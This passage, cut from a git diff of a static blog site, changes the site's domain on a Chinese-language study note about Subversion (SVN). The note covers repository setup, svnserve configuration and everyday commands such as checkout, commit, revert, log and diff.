+svn commit -m &ldquo;hello svn&rdquo;"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/84/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="SVN版本控制系统学习笔记"><meta property="og:description" content="SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -65,7 +65,7 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m &ldquo;hello svn&rdquo;"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/84/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-11T15:00:00+00:00"><meta property="article:modified_time" content="2021-08-11T15:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SVN版本控制系统学习笔记"><meta name=twitter:description content="SVN全名Subversion，即版本控制系统
+svn commit -m &ldquo;hello svn&rdquo;"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/84/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-11T15:00:00+00:00"><meta property="article:modified_time" content="2021-08-11T15:00:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="SVN版本控制系统学习笔记"><meta name=twitter:description content="SVN全名Subversion，即版本控制系统
 和Git不同，Git是分布式，而SVN是集中式
 在commit没有冲突的时候，会合并
 而存在冲突那么就需要先手动处理冲突再commit
@@ -98,12 +98,12 @@
 默认是更新到最新版本，也可以指定更新到哪个版本
 svn update -r 2 demo
 提交
-svn commit -m &ldquo;hello svn&rdquo;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"SVN版本控制系统学习笔记","item":"https://xiaochenabc123.github.io/posts/84/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"SVN版本控制系统学习笔记","name":"SVN版本控制系统学习笔记","description":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;","keywords":["SVN"],"articleBody":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo –listen-port 3690\n–listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo –username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m “hello svn”\n查看副本状态\nsvn status\n如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中\n添加文件到版本控制中\nsvn add demo\nadd只是将其添加到版本控制中，还没有提交到版本库中\n提交到版本库中\nsvn commit -m “hello svn”\n版本回退（当想放弃当前文件的修改，想恢复到之前的文件）\nsvn revert -R demo\n将demo目录回退到修改之前的状态，不加-R则是文件回退\n当然也可以回退到指定版本\nsvn revert -R 2:1 demo\n从版本2回退到版本1\n查看历史信息\n查看指定版本之间的信息（版本作者，日期，路径）\nsvn log -r 2:1\n查看文件的版本修改信息\nsvn log /demo/index.html\n获取目录和显示指定条数的\nsvn log -l 2 -v\n查看历史修改情况（比如本地修改，副本和版本库）\nsvn diff\n默认会比较副本文件和缓存在.svn中的原始的改变\n比较副本和指定版本\nsvn diff -r 2 index.html\n版本和版本的比较\nsvn diff -r 1:2 index.html\n查看过去版本的内容\nsvn cat -r 2 index.html\n查看远程库的文件列表（不下载）\nsvn list svn:xxx/demo\n分支\n创建分支\n切换分支\n合并分支\n标签\n","wordCount":"148","inLanguage":"en","datePublished":"2021-08-11T15:00:00Z","dateModified":"2021-08-11T15:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/84/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>SVN版本控制系统学习笔记</h1><div class=post-meta><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/SVN%e7%89%88%e6%9c%ac%e6%8e%a7%e5%88%b6%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>SVN全名Subversion，即版本控制系统</p><p>和Git不同，Git是分布式，而SVN是集中式</p><p>在commit没有冲突的时候，会合并</p><p>而存在冲突那么就需要先手动处理冲突再commit</p><p>源代码库：源代码统一存放的地方</p><p>获取：到源代码库获取一份源代码</p><p>提交：已经修改了源代码，想提交到源代码库</p><p>更新：更新同步和源代码库一样的源代码</p><p>安装SVN</p><p>dnf install subversion</p><p>创建版本库</p><p>cd /svn/demo</p><p>svnadmin create /svn/demo</p><p>其中conf/svnserve.conf文件是svn服务配置文件</p><p>anon-access = read
+svn commit -m &ldquo;hello svn&rdquo;"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"SVN版本控制系统学习笔记","item":"https://chenjunlinabc.github.io/posts/84/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"SVN版本控制系统学习笔记","name":"SVN版本控制系统学习笔记","description":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo \u0026ndash;listen-port 3690\n\u0026ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo \u0026ndash;username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m \u0026ldquo;hello svn\u0026rdquo;","keywords":["SVN"],"articleBody":"SVN全名Subversion，即版本控制系统\n和Git不同，Git是分布式，而SVN是集中式\n在commit没有冲突的时候，会合并\n而存在冲突那么就需要先手动处理冲突再commit\n源代码库：源代码统一存放的地方\n获取：到源代码库获取一份源代码\n提交：已经修改了源代码，想提交到源代码库\n更新：更新同步和源代码库一样的源代码\n安装SVN\ndnf install subversion\n创建版本库\ncd /svn/demo\nsvnadmin create /svn/demo\n其中conf/svnserve.conf文件是svn服务配置文件\nanon-access = read auth-access = write password-db = passwd authz-db = authz realm = /svn/demo\npasswd文件为账号密码文件\n格式为：账号=密码，例如：abc = root\nauthz为权限控制文件\n格式为：账号=rw（r读，w写），例如：abc=rw\n启动版本库\nsvnserve -d -r /svn/demo –listen-port 3690\n–listen-port是指定svn监听端口，默认是3690，-r是指定版本库\n停止svn服务\nkillall svnserve\n检出：从版本库中创建副本，在其修改，再提交到版本库中\n例如：\nsvn checkout svn:xxx/demo –username=root\n因为root有读写权限，因此将会在本地获取到demo的副本\n更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效\nsvn update\n默认是更新到最新版本，也可以指定更新到哪个版本\nsvn update -r 2 demo\n提交\nsvn commit -m “hello svn”\n查看副本状态\nsvn status\n如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中\n添加文件到版本控制中\nsvn add demo\nadd只是将其添加到版本控制中，还没有提交到版本库中\n提交到版本库中\nsvn commit -m “hello svn”\n版本回退（当想放弃当前文件的修改，想恢复到之前的文件）\nsvn revert -R demo\n将demo目录回退到修改之前的状态，不加-R则是文件回退\n当然也可以回退到指定版本\nsvn revert -R 2:1 demo\n从版本2回退到版本1\n查看历史信息\n查看指定版本之间的信息（版本作者，日期，路径）\nsvn log -r 2:1\n查看文件的版本修改信息\nsvn log /demo/index.html\n获取目录和显示指定条数的\nsvn log -l 2 -v\n查看历史修改情况（比如本地修改，副本和版本库）\nsvn diff\n默认会比较副本文件和缓存在.svn中的原始的改变\n比较副本和指定版本\nsvn diff -r 2 index.html\n版本和版本的比较\nsvn diff -r 1:2 index.html\n查看过去版本的内容\nsvn cat -r 2 index.html\n查看远程库的文件列表（不下载）\nsvn list svn:xxx/demo\n分支\n创建分支\n切换分支\n合并分支\n标签\n","wordCount":"148","inLanguage":"en","datePublished":"2021-08-11T15:00:00Z","dateModified":"2021-08-11T15:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/84/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>SVN版本控制系统学习笔记</h1><div class=post-meta><span title='2021-08-11 15:00:00 +0000 UTC'>2021-08-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/SVN%e7%89%88%e6%9c%ac%e6%8e%a7%e5%88%b6%e7%b3%bb%e7%bb%9f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>SVN全名Subversion，即版本控制系统</p><p>和Git不同，Git是分布式，而SVN是集中式</p><p>在commit没有冲突的时候，会合并</p><p>而存在冲突那么就需要先手动处理冲突再commit</p><p>源代码库：源代码统一存放的地方</p><p>获取：到源代码库获取一份源代码</p><p>提交：已经修改了源代码，想提交到源代码库</p><p>更新：更新同步和源代码库一样的源代码</p><p>安装SVN</p><p>dnf install subversion</p><p>创建版本库</p><p>cd /svn/demo</p><p>svnadmin create /svn/demo</p><p>其中conf/svnserve.conf文件是svn服务配置文件</p><p>anon-access = read
 auth-access = write
 password-db = passwd
 authz-db = authz
-realm = /svn/demo</p><p>passwd文件为账号密码文件</p><p>格式为：账号=密码，例如：abc = root</p><p>authz为权限控制文件</p><p>格式为：账号=rw（r读，w写），例如：abc=rw</p><p>启动版本库</p><p>svnserve -d -r /svn/demo &ndash;listen-port 3690</p><p>&ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库</p><p>停止svn服务</p><p>killall svnserve</p><p>检出：从版本库中创建副本，在其修改，再提交到版本库中</p><p>例如：</p><p>svn checkout svn:xxx/demo &ndash;username=root</p><p>因为root有读写权限，因此将会在本地获取到demo的副本</p><p>更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效</p><p>svn update</p><p>默认是更新到最新版本，也可以指定更新到哪个版本</p><p>svn update -r 2 demo</p><p>提交</p><p>svn commit -m &ldquo;hello svn&rdquo;</p><hr><p>查看副本状态</p><p>svn status</p><p>如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中</p><p>添加文件到版本控制中</p><p>svn add demo</p><p>add只是将其添加到版本控制中，还没有提交到版本库中</p><p>提交到版本库中</p><p>svn commit -m &ldquo;hello svn&rdquo;</p><p>版本回退（当想放弃当前文件的修改，想恢复到之前的文件）</p><p>svn revert -R demo</p><p>将demo目录回退到修改之前的状态，不加-R则是文件回退</p><p>当然也可以回退到指定版本</p><p>svn revert -R 2:1 demo</p><p>从版本2回退到版本1</p><p>查看历史信息</p><p>查看指定版本之间的信息（版本作者，日期，路径）</p><p>svn log -r 2:1</p><p>查看文件的版本修改信息</p><p>svn log /demo/index.html</p><p>获取目录和显示指定条数的</p><p>svn log -l 2 -v</p><p>查看历史修改情况（比如本地修改，副本和版本库）</p><p>svn diff</p><p>默认会比较副本文件和缓存在.svn中的原始的改变</p><p>比较副本和指定版本</p><p>svn diff -r 2 index.html</p><p>版本和版本的比较</p><p>svn diff -r 1:2 index.html</p><p>查看过去版本的内容</p><p>svn cat -r 2 index.html</p><p>查看远程库的文件列表（不下载）</p><p>svn list svn:xxx/demo</p><hr><p>分支</p><p>创建分支</p><p>切换分支</p><p>合并分支</p><hr><p>标签</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/svn/>SVN</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/85/><span class=title>« Prev</span><br><span>简单使用Nginx HTTP服务器软件</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/82/><span class=title>Next »</span><br><span>简单使用Ant Design组件库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+realm = /svn/demo</p><p>passwd文件为账号密码文件</p><p>格式为：账号=密码，例如：abc = root</p><p>authz为权限控制文件</p><p>格式为：账号=rw（r读，w写），例如：abc=rw</p><p>启动版本库</p><p>svnserve -d -r /svn/demo &ndash;listen-port 3690</p><p>&ndash;listen-port是指定svn监听端口，默认是3690，-r是指定版本库</p><p>停止svn服务</p><p>killall svnserve</p><p>检出：从版本库中创建副本，在其修改，再提交到版本库中</p><p>例如：</p><p>svn checkout svn:xxx/demo &ndash;username=root</p><p>因为root有读写权限，因此将会在本地获取到demo的副本</p><p>更新：更新副本，将其同步到版本库最新版本，如果不是当前最新版本，当前本地的副本将无效</p><p>svn update</p><p>默认是更新到最新版本，也可以指定更新到哪个版本</p><p>svn update -r 2 demo</p><p>提交</p><p>svn commit -m &ldquo;hello svn&rdquo;</p><hr><p>查看副本状态</p><p>svn status</p><p>如果出现?，则表示还没有加入版本控制中，出现A，表示已经加入版本控制中</p><p>添加文件到版本控制中</p><p>svn add demo</p><p>add只是将其添加到版本控制中，还没有提交到版本库中</p><p>提交到版本库中</p><p>svn commit -m &ldquo;hello svn&rdquo;</p><p>版本回退（当想放弃当前文件的修改，想恢复到之前的文件）</p><p>svn revert -R demo</p><p>将demo目录回退到修改之前的状态，不加-R则是文件回退</p><p>当然也可以回退到指定版本</p><p>svn revert -R 2:1 demo</p><p>从版本2回退到版本1</p><p>查看历史信息</p><p>查看指定版本之间的信息（版本作者，日期，路径）</p><p>svn log -r 2:1</p><p>查看文件的版本修改信息</p><p>svn log /demo/index.html</p><p>获取目录和显示指定条数的</p><p>svn log -l 2 -v</p><p>查看历史修改情况（比如本地修改，副本和版本库）</p><p>svn diff</p><p>默认会比较副本文件和缓存在.svn中的原始的改变</p><p>比较副本和指定版本</p><p>svn diff -r 2 index.html</p><p>版本和版本的比较</p><p>svn diff -r 1:2 index.html</p><p>查看过去版本的内容</p><p>svn cat -r 2 index.html</p><p>查看远程库的文件列表（不下载）</p><p>svn list svn:xxx/demo</p><hr><p>分支</p><p>创建分支</p><p>切换分支</p><p>合并分支</p><hr><p>标签</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/svn/>SVN</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/85/><span class=title>« Prev</span><br><span>简单使用Nginx HTTP服务器软件</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/82/><span class=title>Next »</span><br><span>简单使用Ant Design组件库</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/85/index.html b/posts/85/index.html
index 1afbca2c..bf029b65 100644
--- a/posts/85/index.html
+++ b/posts/85/index.html
@@ -32,8 +32,8 @@
 检查是否安装完毕
 nginx -v
 nginx配置文件nginx.conf解读，一般在/etc/nginx下
-user root; # nginx运行用户 worker_processes auto; # nginx进程数，一般会设置和CPU核数一致 error_log /www/wwwlogs/nginx_error."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/85/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var 